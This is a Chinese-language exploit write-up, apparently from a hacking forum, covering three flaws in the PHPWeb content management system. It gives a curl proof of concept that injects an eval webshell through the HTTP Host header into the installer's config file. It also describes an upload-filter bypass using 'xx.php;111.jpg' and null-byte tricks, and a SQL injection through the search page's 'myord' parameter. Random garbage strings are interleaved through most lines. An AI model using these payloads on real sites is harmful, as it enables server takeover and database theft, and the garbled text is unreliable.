注入:6 v8 ~/ j. S' L- g
/ s+ u' H1 d- I% u- w/ Q之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码& x4 Y& ]- k8 w' p. A% |
0 o+ @; C, J/ d5 a6 p( P3 R7 T0 o
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( I4 C+ t+ H, z9 k$ \8 g$ ?鸡肋2: 有一定安全常识的站长都会删掉 install 目录
- K8 b: T6 i" O0 o ~ ?8 f+ q$ `5 h/ A. r
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响: a* d; q! a( b* b1 D
- F, U* V m4 u# f: W% N
分析:9 x& p; x2 { B- B5 W
& G5 j5 W! S4 o
, p/ {( u6 R' Q2 z! `9 V3 q7 u
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
+ k" Q- k2 k0 e4 \ " w8 U* A, C$ c1 P) W6 M$ n
$filestr = fread(fopen($SysConfigFile, 'r'),30000); g, z5 |9 q& p; j! _9 y* J/ t; o- d
$filestr=str_replace(" ","",$filestr);
( Y6 Y6 E8 }& Z $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
. U- {& C6 K# Q) i u1 Y" ~ $filestr=str_replace("DefaultDbName",$dbname,$filestr);
. T9 X$ {2 Y) V U2 e% _6 v+ p $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; L. v! |0 R' E4 H
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
4 K- _) K0 t- Y $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
) }4 L p" a# C0 [6 x( L+ p6 Z $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 u9 y9 g* V. Q' R3 o( S4 I $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- y. D% y" e& \5 \
3 |% @8 |! r. i. N3 ~- j+ ]% }, N
fwrite(fopen($ConFile,"w"),$filestr,30000);
* {/ K k( z3 l, c5 D& P1 w$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^5 G$ H, \# U- {& T( y
+ _( [6 l7 i( r) D7 h; Y; i5 w& k% M
poc:8 ?& W2 K( k7 i0 p: z! Z; a. k- v$ ~9 K
1 K' d! ^! f6 v" z* ^; ^9 ~
?1 W- a, m+ f7 L$ @$ _
1* q% S) Q! _; |: Y* L9 Z- O. j
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% [/ G% ]7 ~9 u5 B% ?; g
shell地址: /config.inc.php# {# V6 s' e0 H
跟之前的 phpcms一样 需要远程数据库; C6 S, B& v! }5 O: t1 A) w
9 T' i0 c! r! L% I I, ?7 @5 Q% k
——————————————————–; C8 O$ z3 P* ?" V
上传漏洞(需要进后台):" h. E! v% q( M% W2 ^2 _ z
漏洞文件: /kedit/upload_cgi/upload.php& P0 L- G' ^% ~/ C9 T/ k1 K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用8 { `8 u3 l0 ?$ B0 e* {
l, ~$ I- @$ ?. m; n+ l
0 L; l$ G+ w& e" j8 U- E<?php5 B6 v, ^. p {( ~" \) D% L
define("ROOTPATH", "../../");
, h5 e. h: Y6 s: D1 C include(ROOTPATH."includes/admin.inc.php");! F2 y4 f: M3 ?% ^* n" F, P
NeedAuth(0);( D' \7 S) }$ h. x5 L" ~
* {: L: ~: l) ~* _+ e8 e! A- C $dt=date("Ymd",time());
4 Q' l' Y; s' u& e, R$ ?: t+ A if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
( ]' S9 F1 J6 @" k @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);7 c; P' d: f0 h0 W5 ]
}
& r) c+ @, v( z" l* y 1 Y3 ? M. _! K% F; X
//文件保存目录路径
: q( _: ~, d+ Q $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
: B2 J; }+ T# i) {9 A echo $save_path;) U ], {" `. ~; l6 a$ s) \( t
//文件保存目录URL
! Q- w8 N8 H2 U) h2 ^) L9 F $save_url = '../../'.$_POST['attachPath'].$dt.'/';
, [+ d4 E, j! S# f% v + d+ E' m. Q& ~0 t0 U7 z( ]
//定义允许上传的文件扩展名1 R8 F& U4 U+ q& d' [( h( R# k$ Z9 k
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
/ ~( `, ~6 W) L- V5 X+ e" n
% Z# L& G/ v; y- p* W( F4 M //最大文件大小
( F0 @. P( Z0 v( P% ], s $max_size = 1000000;* N6 F: o2 u3 R4 u# A" C. T5 |4 P
7 ]/ F8 p1 f/ X //更改目录权限
! M' V! B9 ` A% c2 K, Q @mkdir($save_path, 0777);
6 t, q% ]" X2 v" c
; S2 T4 c0 a/ X; b //文件的全部路径, s) z: B4 v" U. S' ]/ v0 r- ]$ f n
$file_path = $save_path.$_POST['fileName']; //保存文件名/ j7 a( |( g/ Q: E" D3 a0 _
0 @1 I5 w$ ~$ ?' q
//文件URL1 Y& v7 Y# h! _3 W, W& m# \
$file_url = $save_url.$_POST['fileName'];
7 j3 M# i2 r7 j4 O+ }* v8 o# g$ V//有上传文件时4 R/ l+ `2 ~2 h# |
if (empty($_FILES) === false) {7 l, V! U9 A* Z# U9 z, A7 S$ g
: g' x' _# k. @) M; U3 W
//原文件名
1 O" P9 F @1 C. \; B% a9 { $file_name = $_FILES['fileData']['name'];
8 e; ]+ O0 ?2 n1 Q+ p //服务器上临时文件名: c* Y9 ]/ ?! D1 m
$tmp_name = $_FILES['fileData']['tmp_name'];
) Z7 P2 c5 d: k- }& _0 L4 b //文件大小
2 |# e& t1 u5 {! V4 v& E $file_size = $_FILES['fileData']['size'];
1 K+ D$ L1 F5 H: |* `7 b //检查目录4 h0 i' u) {0 U$ c( I
if (@is_dir($save_path) === false) {. C4 n' a& D) ^ ~+ {) ]0 S3 A8 k
alert("上传目录不存在。");
. H5 F9 h) K* T) u }
+ m, q0 U7 a2 f- P //检查目录写权限
6 d" e: Y$ S+ c) k, t" G if (@is_writable($save_path) === false) {. A4 j! @3 m1 Y! F# A7 Y+ ~4 [
alert("上传目录没有写权限。");; k ^2 N0 v# \8 F
}
; E: @# D% G- z7 n- z/ Y //检查是否已上传5 J0 A$ o- A/ t6 F5 w6 r
if (@is_uploaded_file($tmp_name) === false) {
" |3 L2 a+ h r; l* ^- r alert("临时文件可能不是上传文件。");2 _6 _* t" }2 V% G; o* e, ^
}* O1 W0 |3 W, e
//检查文件大小
* a4 ]4 u4 f/ N k if ($file_size > $max_size) {
3 ~* c& }: d2 @ alert("上传文件大小超过限制。");
; Z& ]0 c& | o# L/ q8 n }1 ^ B* i- _% }# W" u
//获得文件扩展名
4 P3 s ~" s" J0 J7 }& m% P $temp_arr = explode(".", $_POST['fileName']);0 J- k3 W& T: q
$file_ext = array_pop($temp_arr);
: t8 W$ J0 w I3 ]' @9 e $file_ext = trim($file_ext);
4 x: x( n6 [1 h3 Y, ^" T $file_ext = strtolower($file_ext);
6 O4 d* Z+ R$ j' |. i5 S' i5 N 7 H: N6 z7 i e3 G! n$ K
//检查扩展名
3 J6 }* u! b% o2 L6 }* |) b' W/ e if (in_array($file_ext, $ext_arr) === false) { 3 K* ?/ B8 F$ W! ^/ a1 H% Q
alert("上传文件扩展名是不允许的扩展名。");
' E& i# S/ c5 ~" i! F# C/ D4 O }; D; e: r; v8 O
% L" ?5 _2 w& F) n
//移动文件 : K# B) j* g& V
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
- h# P" f0 {& i4 S& a if (move_uploaded_file($tmp_name, $file_path) === false) {
. \" T/ m5 I; B1 r alert("上传文件失败。"); e+ ^9 a D6 P6 j
}
G7 @5 I5 c1 {) I# d' {# Q. u0 j
" |' k d1 j% U( b* s/ w1 ^ @chmod($file_path,0666);
0 R+ i6 U$ g. R7 J4 ]2 h2 \2 Z+ g- j
) O. C* h. t+ j+ Y) E" L ?>/ I" \$ B% l S2 W, P/ |
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2279 y6 `5 p* c, m% i: z+ E6 ^
9 y0 w! X$ V! I# n5 ]8 K6 f/ k
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过: E! j4 D2 G/ H& ^* G
8 Y1 O7 ~+ S0 Y$ N9 `9 i$ F; F
——————————————————, N4 @; f+ w# A' z% @
注入漏洞:" d/ m3 }8 `6 C3 s3 v
漏洞文件:search/module/search.php* o2 D1 |, i; W5 v0 a
/search/index.php?key=1&myord=1 [sqlinjection]
( B2 d2 g) z; h 9 j# i: e& _ z" O5 ^- U1 W
) L2 ?* O8 c) \* m- `+ Q8 M<?php* ^* {, j" @5 \2 _+ m4 l# o: ~
// ... 省略 n 行...
/ H+ n, B3 f) V- K: N p; v //第18行:
" ?9 L3 z* G" [" N' X $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响4 ^( i+ l( l. P- n* f9 b) F
$page=htmlspecialchars($_GET["page"]);
! D1 J; d( M) ]$ Q# M. K j0 t $myord=htmlspecialchars($_GET["myord"]);( b2 K! Z' m& ?6 }3 m# Y9 {
" N2 [ a/ E. C" H0 x1 |
// ... 省略 n 行...0 L! ~8 c8 I4 G
$key,$myord 两个参数带入查询
* U( n0 U4 f9 b5 k4 F4 B0 B //第47行 $key:( p1 L2 @$ Q6 O- ]4 C: `) _" F( Y
7 B7 M( ~' W; I7 I( ^4 }& e; K5 |9 z
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
( r) R9 j$ ?# d/ g% t* J1 }$ b
, W$ T( G* V* `/ e //第197行 $myord; ~6 w; M) q5 g: C7 P' n
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
. ?) Z% H! v1 k; X* R$ `
6 k$ @1 I$ H6 R ?>
4 B+ Z- ^4 ?+ R6 A1 W' M+ H8 } |